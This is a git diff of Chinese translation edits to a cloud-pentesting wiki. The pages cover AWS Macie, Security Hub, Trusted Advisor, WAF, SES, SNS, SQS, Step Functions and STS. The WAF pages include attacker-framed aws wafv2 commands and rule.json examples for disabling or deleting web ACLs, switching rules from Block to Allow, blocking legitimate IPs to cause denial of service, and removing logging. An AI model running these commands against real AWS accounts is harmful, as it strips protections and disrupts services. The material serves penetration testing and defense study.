untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index fac6944df..f4741ae09 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,7 +6,7 @@ ## Macie -Amazon Macie 是一项旨在 **自动检测、分类和识别数据** 的服务,适用于 AWS 账户。它利用 **机器学习** 持续监控和分析数据,主要集中在通过检查 **cloud trail event** 数据和用户行为模式来检测和警报异常或可疑活动。 +Amazon Macie 是一项旨在 **自动检测、分类和识别** AWS 账户内数据的服务。它利用 **机器学习** 持续监控和分析数据,主要关注通过检查 **cloud trail event** 数据和用户行为模式来检测和警报异常或可疑活动。 Amazon Macie 的主要特点: @@ -66,7 +66,7 @@ Macie 将警报分类为预定义类别,如: ### Research and Analysis -Amazon Macie 的研究功能允许对所有 Macie 数据进行自定义查询以进行深入分析。过滤器包括 CloudTrail 数据、S3 存储桶属性和 S3 对象。此外,它支持邀请其他账户共享 Amazon Macie,促进协作数据管理和安全监控。 +Amazon Macie 的研究功能允许对所有 Macie 数据进行自定义查询以进行深入分析。过滤器包括 CloudTrail 数据、S3 桶属性和 S3 对象。此外,它支持邀请其他账户共享 Amazon Macie,促进协作数据管理和安全监控。 ### Enumeration ``` @@ -105,7 +105,7 @@ aws macie2 list-custom-data-identifiers > [!TIP] > 从攻击者的角度来看,这项服务并不是为了检测攻击者,而是为了检测存储文件中的敏感信息。因此,这项服务可能**帮助攻击者在存储桶中找到敏感信息**。\ -> 然而,攻击者也可能对破坏它感兴趣,以防止受害者收到警报,从而更容易窃取该信息。 +> 然而,攻击者也可能有兴趣破坏它,以防止受害者收到警报,从而更容易窃取该信息。 TODO: PRs are welcome! diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 766983494..c40f4acc3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,7 +4,7 @@ ## Security Hub -**Security Hub** 收集来自 **AWS 账户**、服务和支持的第三方合作伙伴产品的安全 **数据**,并帮助您 **分析您的安全** 趋势并识别最高优先级的安全问题。 +**Security Hub** 收集来自 **AWS 账户**、服务和支持的第三方合作伙伴产品的安全 **数据**,并帮助您 **分析您的安全** 趋势,识别最高优先级的安全问题。 它 **集中管理跨账户的安全相关警报**,并提供一个用户界面来查看这些警报。最大的限制是它 **不集中管理跨区域的警报**,仅限于跨账户。 @@ -18,7 +18,9 @@ - Inspector - Macie - 第三方 -- 根据 CIS 标准自生成的 +- 针对 CIS 标准自生成的发现 + +## Enumeration ``` # Get basic info aws securityhub describe-hub diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index f817ddeba..64197b8e8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,7 +6,7 @@ ## AWS Trusted Advisor 概述 -Trusted Advisor 是一项 **提供建议** 的服务,旨在优化您的 AWS 账户,符合 **AWS 最佳实践**。这是一项跨多个区域运行的服务。Trusted Advisor 在四个主要类别中提供见解: +Trusted Advisor 是一项 **提供建议** 的服务,旨在优化您的 AWS 账户,符合 **AWS 最佳实践**。它是一项跨多个区域运行的服务。Trusted Advisor 在四个主要类别中提供见解: 1. **成本优化:** 建议如何重组资源以减少开支。 2. **性能:** 识别潜在的性能瓶颈。 @@ -19,7 +19,7 @@ Trusted Advisor 的全面功能仅在 **AWS 商业或企业支持计划** 下可 - Trusted Advisor 可以发出警报。 - 项目可以从其检查中排除。 -- 数据每 24 小时刷新一次。然而,在上次刷新后 5 分钟可以手动刷新。 +- 数据每 24 小时刷新一次。然而,在上次刷新后 5 分钟内可以手动刷新。 ### **检查细分** @@ -38,7 +38,7 @@ Trusted Advisor 的全面功能仅在 **AWS 商业或企业支持计划** 下可 1. 安全组 - 特定端口不受限制 2. IAM 使用 -3. 根账户上的 MFA +3. 根账户的 MFA 4. EBS 公共快照 5. RDS 公共快照 6. 服务限制 @@ -50,7 +50,7 @@ Trusted Advisor 的全面功能仅在 **AWS 商业或企业支持计划** 下可 - 高风险端口的安全组设置 - 安全组不受限制的访问 - 对 S3 存储桶的开放写/列访问 -- 根账户上启用 MFA +- 根账户启用 MFA - RDS 安全组的宽松性 - CloudTrail 使用 - Route 53 MX 记录的 SPF 记录 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 095dea8a1..169205a58 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -22,10 +22,10 @@ Web ACL 是一组规则的集合,您可以将其应用于您的 Web 应用程 #### 规则 -规则定义了一组 AWS WAF 用于检查传入 Web 请求的条件。主要有两种类型的规则: +规则定义了一组条件,AWS WAF 用于检查传入的 Web 请求。主要有两种类型的规则: 1. **常规规则**:此规则类型使用指定的条件来确定是否允许、阻止或计数 Web 请求。 -2. **基于速率的规则**:在五分钟内计算来自特定 IP 地址的请求。在这里,用户定义一个阈值,如果来自某个 IP 的请求数量在五分钟内超过此限制,则该 IP 的后续请求将被阻止,直到请求速率降至阈值以下。基于速率的规则的最小阈值为 **2000 个请求**。 +2. **基于速率的规则**:在五分钟内计算来自特定 IP 地址的请求。在这里,用户定义一个阈值,如果来自某个 IP 的请求数量在五分钟内超过此限制,则该 IP 的后续请求将被阻止,直到请求速率降至阈值以下。基于速率的规则的最小阈值为 **2000 请求**。 #### 管理规则 @@ -79,14 +79,14 @@ AWS WAF 中的范围参数指定 WAF 规则和配置是否适用于区域应用 - **允许**:请求被转发到适当的 CloudFront 分发或应用程序负载均衡器。 - **阻止**:请求立即终止。 -- **计数**:统计符合规则条件的请求。这对于规则测试非常有用,可以在将其设置为允许或阻止之前确认规则的准确性。 +- **计数**:统计符合规则条件的请求。这对于规则测试很有用,可以在将其设置为允许或阻止之前确认规则的准确性。 - **CAPTCHA 和挑战**:通过 CAPTCHA 谜题和静默挑战验证请求是否来自机器人。 如果请求与 Web ACL 中的任何规则不匹配,则会执行 **默认操作**(允许或阻止)。规则执行的顺序在 Web ACL 中定义,至关重要,通常遵循以下顺序: 1. 允许白名单 IP。 2. 阻止黑名单 IP。 -3. 阻止匹配任何有害签名的请求。 +3. 阻止与任何有害签名匹配的请求。 #### CloudWatch 集成 @@ -185,21 +185,21 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` -### Post Exploitation / Bypass +### 后期利用 / 绕过 > [!TIP] > 从攻击者的角度来看,这项服务可以帮助攻击者识别 WAF 保护和网络暴露,这可能帮助他攻陷其他网站。 > -> 然而,攻击者也可能对破坏这项服务感兴趣,以便网站不受 WAF 保护。 +> 然而,攻击者也可能对干扰这项服务感兴趣,以便网站不受 WAF 保护。 -在许多删除和更新操作中,提供 **lock token** 是必要的。此令牌用于对资源进行并发控制,确保更改不会被多个用户或进程同时尝试更新同一资源而意外覆盖。为了获得此令牌,您可以对特定资源执行相应的 **list** 或 **get** 操作。 +在许多删除和更新操作中,提供 **lock token** 是必要的。此令牌用于对资源进行并发控制,确保更改不会被多个用户或进程意外覆盖,这些用户或进程试图同时更新同一资源。为了获得此令牌,您可以对特定资源执行相应的 **list** 或 **get** 操作。 #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** 攻击者将能够通过以下方式危害受影响资源的安全性: - 创建规则组,例如,可以阻止来自合法 IP 地址的合法流量,从而导致服务拒绝。 -- 更新规则组,能够修改其操作,例如从 **Block** 更改为 **Allow**。 +- 更新规则组,能够将其操作从 **Block** 修改为 **Allow**。 - 删除提供关键安全措施的规则组。 ```bash # Create Rule Group @@ -211,11 +211,11 @@ aws wafv2 update-rule-group --name --id --visibility-config --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -以下示例显示了一个规则组,该规则组将阻止来自特定IP地址的合法流量: +以下示例显示了一个规则组,该规则组将阻止来自特定 IP 地址的合法流量: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` -该 **rule.json** 文件看起来像: +**rule.json** 文件看起来像这样: ```json [ { @@ -243,12 +243,12 @@ aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --vi 拥有这些权限,攻击者将能够: -- 创建一个新的 Web ACL,引入允许恶意流量通过或阻止合法流量的规则,从而使 WAF 无效或导致拒绝服务。 -- 更新现有的 Web ACL,能够修改规则以允许之前被阻止的攻击,例如 SQL 注入或跨站脚本,或通过阻止有效请求来干扰正常流量。 +- 创建一个新的 Web ACL,引入允许恶意流量通过或阻止合法流量的规则,从而有效地使 WAF 无效或导致服务拒绝。 +- 更新现有的 Web ACL,能够修改规则以允许之前被阻止的攻击,如 SQL 注入或跨站脚本,或通过阻止有效请求来干扰正常的流量流动。 - 删除一个 Web ACL,使受影响的资源完全不受保护,暴露于广泛的网络攻击中。 > [!NOTE] -> 只有当 **ManagedByFirewallManager** 为 false 时,您才能删除指定的 **WebACL**。 +> 只有在 **ManagedByFirewallManager** 为 false 时,您才能删除指定的 **WebACL**。 ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -以下示例显示如何更新 Web ACL 以阻止来自特定 IP 集的合法流量。如果源 IP 不匹配这些 IP 中的任何一个,默认操作也将阻止它,从而导致 DoS。 +以下示例展示了如何更新 Web ACL 以阻止来自特定 IP 集的合法流量。如果源 IP 不匹配这些 IP 中的任何一个,默认操作也会阻止它,从而导致 DoS。 **原始 Web ACL**: ```json @@ -307,7 +307,7 @@ aws wafv2 delete-web-acl --name --id --lock-token --scop ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` -该 **rule.json** 文件看起来像: +**rule.json** 文件看起来像这样: ```json [ { @@ -329,11 +329,11 @@ aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1 } ] ``` -**潜在影响**:未经授权的访问、数据泄露和潜在的拒绝服务攻击。 +**潜在影响**:未经授权的访问、数据泄露和潜在的DoS攻击。 #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -**`wafv2:AssociateWebACL`** 权限将允许攻击者将 web ACL(访问控制列表)与资源关联,从而能够绕过安全控制,允许未经授权的流量到达应用程序,可能导致 SQL 注入或跨站脚本(XSS)等漏洞。相反,使用 **`wafv2:DisassociateWebACL`** 权限,攻击者可以暂时禁用安全保护,使资源暴露于未被检测的漏洞中。 +**`wafv2:AssociateWebACL`** 权限将允许攻击者将Web ACL(访问控制列表)与资源关联,从而能够绕过安全控制,允许未经授权的流量到达应用程序,可能导致SQL注入或跨站脚本(XSS)等漏洞。相反,拥有 **`wafv2:DisassociateWebACL`** 权限的攻击者可以暂时禁用安全保护,使资源暴露于未被检测的漏洞中。 根据受保护资源类型,可能需要额外的权限: @@ -374,7 +374,7 @@ aws wafv2 delete-ip-set --name --id --lock-token --scope ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` -**潜在影响**:未经授权的访问和合法流量的阻止。 +**潜在影响**:未经授权的访问和合法流量的阻塞。 #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** @@ -382,7 +382,7 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a - 创建新的正则表达式模式将帮助攻击者允许有害内容 - 更新现有模式,攻击者将能够绕过安全规则 -- 删除旨在阻止恶意活动的模式可能导致攻击者发送恶意有效负载并绕过安全措施。 +- 删除旨在阻止恶意活动的模式可能导致攻击者发送恶意负载并绕过安全措施。 ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -397,14 +397,14 @@ aws wafv2 delete-regex-pattern-set --name --scope [!NOTE] -> 每个 web ACL 只能定义一个日志目的地。 +> 每个 Web ACL 只能定义一个日志目的地。 ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration @@ -415,12 +415,12 @@ aws wafv2 delete-logging-configuration --resource-arn [--log-scope --scope | CLOUDFRONT --region=us-east-1> ``` -**潜在影响**:禁用 CAPTCHA 保护或干扰应用程序功能,导致安全漏洞和潜在数据泄露。 +**潜在影响**:禁用 CAPTCHA 保护或干扰应用程序功能,导致安全漏洞和潜在的数据泄露。 #### **`wafv2:TagResource`, `wafv2:UntagResource`** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 74c43743f..92d348adf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -4,7 +4,7 @@ ## 基本信息 -Amazon Simple Email Service (Amazon SES) 旨在 **发送和接收电子邮件**。它使用户能够高效且安全地大规模发送事务性、营销或通知电子邮件。它 **与其他 AWS 服务集成良好**,为各类企业提供了管理电子邮件通信的强大解决方案。 +Amazon Simple Email Service (Amazon SES) 旨在 **发送和接收电子邮件**。它使用户能够高效且安全地大规模发送事务性、营销或通知电子邮件。它 **与其他 AWS 服务集成良好**,为各类企业提供了强大的电子邮件通信管理解决方案。 您需要注册 **身份**,这些身份可以是能够与 SES 交互的域名或电子邮件地址(例如,发送和接收电子邮件)。 @@ -30,12 +30,12 @@ cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` -从AWS控制台网页上也可以做到这一点。 +也可以通过 AWS 控制台网页执行此操作。 ### 枚举 > [!WARNING] -> 请注意,SES有两个API:**`ses`**和**`sesv2`**。某些操作在两个API中都有,而其他操作仅在其中一个中。 +> 请注意,SES 有 2 个 API:**`ses`** 和 **`sesv2`**。某些操作在两个 API 中都有,而其他操作仅在其中一个 API 中。 ```bash # Get info about the SES account aws sesv2 get-account diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index 7a73e9b31..6fce49d93 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,15 +4,15 @@ ## SNS -亚马逊简单通知服务(Amazon SNS)被描述为一个**完全托管的消息服务**。它支持**应用程序到应用程序**(A2A)和**应用程序到个人**(A2P)通信类型。 +Amazon Simple Notification Service (Amazon SNS) 被描述为一个 **完全托管的消息服务**。它支持 **应用程序到应用程序** (A2A) 和 **应用程序到个人** (A2P) 的通信类型。 -A2A通信的关键特性包括**发布/订阅(pub/sub)机制**。这些机制引入了**主题**,对于实现高吞吐量的**推送式、多对多消息传递**至关重要。此功能在涉及分布式系统、微服务和事件驱动的无服务器架构的场景中非常有利。通过利用这些主题,发布系统可以有效地将消息分发给**广泛的订阅系统**,促进扇出消息模式。 +A2A 通信的关键特性包括 **发布/订阅 (pub/sub) 机制**。这些机制引入了 **主题**,对于实现高吞吐量的 **推送式、多对多消息传递** 至关重要。此功能在涉及分布式系统、微服务和事件驱动的无服务器架构的场景中非常有利。通过利用这些主题,发布系统可以有效地将消息分发到 **广泛的订阅系统**,促进扇出消息模式。 -### **与SQS的区别** +### **与 SQS 的区别** -**SQS**是一个**基于队列**的服务,允许点对点通信,确保消息由**单个消费者**处理。它提供**至少一次交付**,支持标准和FIFO队列,并允许消息保留以进行重试和延迟处理。\ -另一方面,**SNS**是一个**基于发布/订阅的服务**,通过同时向**多个订阅者**广播消息,实现**一对多**通信。它支持**各种订阅端点,如电子邮件、短信、Lambda函数和HTTP/HTTPS**,并提供针对性消息传递的过滤机制。\ -虽然这两项服务都能实现分布式系统中组件之间的解耦,但SQS专注于排队通信,而SNS强调事件驱动的扇出通信模式。 +**SQS** 是一个 **基于队列** 的服务,允许点对点通信,确保消息由 **单个消费者** 处理。它提供 **至少一次交付**,支持标准和 FIFO 队列,并允许消息保留以进行重试和延迟处理。\ +另一方面,**SNS** 是一个 **基于发布/订阅** 的服务,通过同时向 **多个订阅者** 广播消息来实现 **一对多** 的通信。它支持 **各种订阅端点,如电子邮件、短信、Lambda 函数和 HTTP/HTTPS**,并提供针对性消息传递的过滤机制。\ +虽然这两项服务都能实现分布式系统中组件之间的解耦,但 SQS 侧重于排队通信,而 SNS 强调事件驱动的扇出通信模式。 ### **枚举** ```bash @@ -42,9 +42,9 @@ aws sns subscribe --region \ --topic-arn ``` > [!CAUTION] -> 注意,如果**主题是FIFO类型**,则只能使用协议**SQS**的订阅者(不能使用HTTP或HTTPS)。 +> 注意,如果**主题是 FIFO 类型**,则只能使用使用协议 **SQS** 的订阅者(不能使用 HTTP 或 HTTPS)。 > -> 此外,即使`--topic-arn`包含区域,也请确保在**`--region`**中指定正确的区域,否则您将收到一个错误,表明您没有访问权限,但问题在于区域。 +> 此外,即使 `--topic-arn` 包含区域,也请确保在 **`--region`** 中指定正确的区域,否则您将收到一个错误,表明您没有访问权限,但问题实际上是区域。 #### 未经身份验证的访问 @@ -58,7 +58,7 @@ aws sns subscribe --region \ ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} -#### 利用后 +#### 后期利用 {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index fffbefc45..7280fb939 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -32,7 +32,7 @@ aws sqs send-message --queue-url --message-body ../aws-privilege-escalation/aws-sqs-privesc.md {{#endref}} -#### 利用后的操作 +#### 利用后 {{#ref}} ../aws-post-exploitation/aws-sqs-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index f7c153158..f79e69d16 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,7 +4,7 @@ ## Step Functions -AWS Step Functions 是一个工作流服务,使您能够协调和编排多个 AWS 服务到无服务器工作流中。通过使用 AWS Step Functions,您可以设计和运行连接各种 AWS 服务(如 AWS Lambda、Amazon S3、Amazon DynamoDB 等)的工作流,按步骤顺序进行。这项编排服务提供了可视化工作流界面,并提供 **状态机** 功能,允许您使用基于 JSON 的 **Amazon States Language** (ASL) 以声明性方式定义工作流的每个步骤。 +AWS Step Functions 是一个工作流服务,使您能够协调和编排多个 AWS 服务到无服务器工作流中。通过使用 AWS Step Functions,您可以设计和运行连接各种 AWS 服务(如 AWS Lambda、Amazon S3、Amazon DynamoDB 等)的工作流,按步骤顺序进行。这项编排服务提供了可视化工作流界面,并提供 **状态机** 功能,允许您使用基于 JSON 的 **Amazon States Language** (ASL) 以声明方式定义工作流的每个步骤。 ## Key concepts @@ -13,19 +13,19 @@ AWS Step Functions 是一个工作流服务,使您能够协调和编排多个 AWS Step Functions 提供两种类型的 **状态机工作流**:标准和快速。 - **Standard Workflow**:此默认工作流类型旨在用于长时间运行、持久和可审计的过程。它支持 **exactly-once execution**,确保任务仅运行一次,除非指定重试。它非常适合需要详细执行历史的工作流,并且可以运行长达一年。 -- **Express Workflow**:此类型非常适合高容量、短时任务,运行时间最长可达五分钟。它们支持 **at-least-once execution**,适合幂等任务,如数据处理。这些工作流针对成本和性能进行了优化,按执行次数、持续时间和内存使用量收费。 +- **Express Workflow**:此类型非常适合高容量、短时任务,运行时间最长可达五分钟。它们支持 **at-least-once execution**,适合像数据处理这样的幂等任务。这些工作流针对成本和性能进行了优化,按执行次数、持续时间和内存使用量收费。 ### States 状态是状态机的基本单元。它们定义工作流中的各个步骤,能够根据其类型执行各种功能: -- **Task:** 执行一个作业,通常使用 AWS 服务,如 Lambda。 +- **Task:** 执行作业,通常使用 AWS 服务如 Lambda。 - **Choice:** 根据输入做出决策。 - **Fail/Succeed:** 以失败或成功结束执行。 - **Pass:** 将输入传递到输出或注入数据。 - **Wait:** 延迟执行一段时间。 - **Parallel:** 启动并行分支。 -- **Map:** 动态迭代步骤以处理项目。 +- **Map:** 动态迭代步骤。 ### Task @@ -52,12 +52,12 @@ AWS Step Functions 提供两种类型的 **状态机工作流**:标准和快 "End": true } ``` -### Choice +### 选择 一个 **Choice** 状态为工作流添加条件逻辑,使其能够根据输入数据做出决策。它评估指定的条件,并根据结果转换到相应的状态。 -- **Comparison**: 每个选择规则包括一个比较运算符(例如,**`NumericEquals`**,**`StringEquals`**),用于将输入变量与指定值或另一个变量进行比较。 -- **Next Field**: Choice 状态不支持 **`End`** 字段,而是定义 **`Next`** 状态,以便在比较为真时进行转换。 +- **比较**:每个选择规则包括一个比较运算符(例如,**`NumericEquals`**,**`StringEquals`**),用于将输入变量与指定值或另一个变量进行比较。 +- **下一个字段**:选择状态不支持 **`End`** 字段,而是定义 **`Next`** 状态,以便在比较为真时进行转换。 **Choice** 状态的示例: ```json @@ -67,9 +67,9 @@ AWS Step Functions 提供两种类型的 **状态机工作流**:标准和快 "Next": "TimeState" } ``` -### Fail/Succeed +### 失败/成功 -一个 **`Fail`** 状态停止状态机的执行并将其标记为失败。它用于指定错误名称和原因,提供有关失败的详细信息。此状态是终端状态,意味着它结束执行流程。 +一个 **`Fail`** 状态停止状态机的执行并将其标记为失败。它用于指定错误名称和原因,提供有关失败的详细信息。此状态是终端状态,意味着它结束了执行流程。 一个 **`Succeed`** 状态成功地停止执行。它通常用于在工作流成功完成时终止工作流。此状态不需要 **`Next`** 字段。 @@ -166,7 +166,7 @@ jsonCopiar código 一个 **Map** 状态允许对数据集中的每个项目执行一组步骤。它用于数据的并行处理。根据您希望如何处理数据集中的项目,Step Functions 提供以下模式: -- **Inline Mode**: 对每个 JSON 数组项执行一组状态的子集。适用于并行迭代少于 40 次的小规模任务,在包含 **`Map`** 状态的工作流上下文中运行每个任务。 +- **Inline Mode**: 对每个 JSON 数组项执行一组状态的子集。适用于并行迭代少于 40 的小规模任务,在包含 **`Map`** 状态的工作流上下文中运行每个任务。 ```json "MapState": { @@ -234,12 +234,12 @@ jsonCopiar código ### Versions and aliases -Step Functions 还允许您通过状态机的 **versions** 和 **aliases** 管理工作流部署。版本表示可以执行的状态机快照。别名作为指向最多两个版本的状态机的指针。 +Step Functions 还允许您通过状态机的 **versions** 和 **aliases** 管理工作流部署。版本表示可以执行的状态机快照。别名作为指向状态机的最多两个版本的指针。 - **Versions**: 这些不可变的状态机快照是从该状态机的最新修订版创建的。每个版本由一个唯一的 ARN 标识,该 ARN 将状态机 ARN 与版本号组合,用冒号分隔(**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**)。版本不能被编辑,但您可以更新状态机并发布新版本,或使用所需的状态机版本。 - **Aliases**: 这些指针可以引用同一状态机的最多两个版本。可以为单个状态机创建多个别名,每个别名由一个唯一的 ARN 标识,该 ARN 通过将状态机 ARN 与别名名称组合,用冒号分隔(**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**)。别名使得在状态机的两个版本之间路由流量成为可能。或者,别名可以指向状态机的单个特定版本,但不能指向其他别名。它们可以根据需要更新以重定向到状态机的不同版本,从而促进受控部署和工作流管理。 -有关 **ASL** 的更多详细信息,请查看:[**Amazon States Language**](https://states-language.net/spec.html)。 +有关 **ASL** 的更多详细信息,请查看: [**Amazon States Language**](https://states-language.net/spec.html)。 ## IAM Roles for State machines @@ -297,27 +297,27 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` -## Privesc +## 提权 -在以下页面中,您可以查看如何**滥用 Step Functions 权限以提升特权**: +在以下页面中,您可以查看如何**滥用 Step Functions 权限以提升权限**: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md {{#endref}} -## Post Exploitation +## 后期利用 {{#ref}} ../aws-post-exploitation/aws-stepfunctions-post-exploitation.md {{#endref}} -## Persistence +## 持久性 {{#ref}} ../aws-persistence/aws-step-functions-persistence.md {{#endref}} -## References +## 参考 - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html) - [https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html](https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 4e6f67c7e..7d873d309 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,19 +4,19 @@ ## STS -**AWS安全令牌服务(STS)**主要用于发放**临时、有限权限的凭证**。这些凭证可以为**AWS身份与访问管理(IAM)**用户或经过身份验证的用户(联合用户)请求。 +**AWS Security Token Service (STS)** 主要用于发放 **临时、有限权限的凭证**。这些凭证可以为 **AWS 身份与访问管理 (IAM)** 用户或经过身份验证的用户(联合用户)请求。 -鉴于STS的目的是**发放身份冒充的凭证**,该服务对于**提升权限和维持持久性**极为重要,尽管它可能没有广泛的选项。 +鉴于 STS 的目的是 **发放身份冒充的凭证**,该服务对于 **提升权限和保持持久性** 非常有价值,尽管它可能没有广泛的选项。 -### 假设角色冒充 +### Assume Role Impersonation -AWS STS提供的[AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html)操作至关重要,因为它允许一个主体获取另一个主体的凭证,实质上冒充他们。调用时,它会返回一个访问密钥ID、一个秘密密钥和一个与指定ARN对应的会话令牌。 +AWS STS 提供的 [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) 操作至关重要,因为它允许一个主体获取另一个主体的凭证,实质上冒充他们。调用时,它会返回一个访问密钥 ID、一个秘密密钥和一个与指定 ARN 对应的会话令牌。 -对于渗透测试人员或红队成员来说,这种技术对于权限提升至关重要(如[**这里**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)所述)。然而,值得注意的是,这种技术相当显眼,可能不会让攻击者感到意外。 +对于渗透测试人员或红队成员来说,这种技术对于权限提升至关重要(如 [**这里**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole) 所述)。然而,值得注意的是,这种技术相当显眼,可能不会让攻击者感到意外。 -#### 假设角色逻辑 +#### Assume Role Logic -为了在同一账户中假设角色,如果**要假设的角色特别允许一个角色ARN**,如: +为了在同一账户中假设角色,如果 **要假设的角色特别允许一个角色 ARN**,如: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ AWS STS提供的[AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference ``` 在这种情况下,角色 **`priv-role`** **不需要被特别允许** 来承担该角色(只需有该允许即可)。 -但是,如果一个角色允许一个账户承担它,比如在: +然而,如果一个角色允许一个账户承担它,例如: ```json { "Version": "2012-10-17", @@ -50,11 +50,11 @@ AWS STS提供的[AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference ] } ``` -该角色尝试假设它将需要一个 **特定的 `sts:AssumeRole` 权限** 来 **假设它**。 +尝试假设的角色需要对该角色具有 **特定的 `sts:AssumeRole` 权限** **才能假设它**。 -如果您尝试从 **不同的账户** 假设一个 **角色**,则 **被假设的角色必须允许它**(指明角色的 **ARN** 或 **外部账户**),并且 **尝试假设** 另一个角色的 **角色必须** 具备 **假设它的权限**(在这种情况下,即使被假设的角色指定了 ARN,这也不是可选的)。 +如果您尝试从 **不同的账户** **假设一个角色**,则 **被假设的角色必须允许** 这样做(指明角色的 **ARN** 或 **外部账户**),并且 **尝试假设** 另一个角色的 **角色必须** 具有 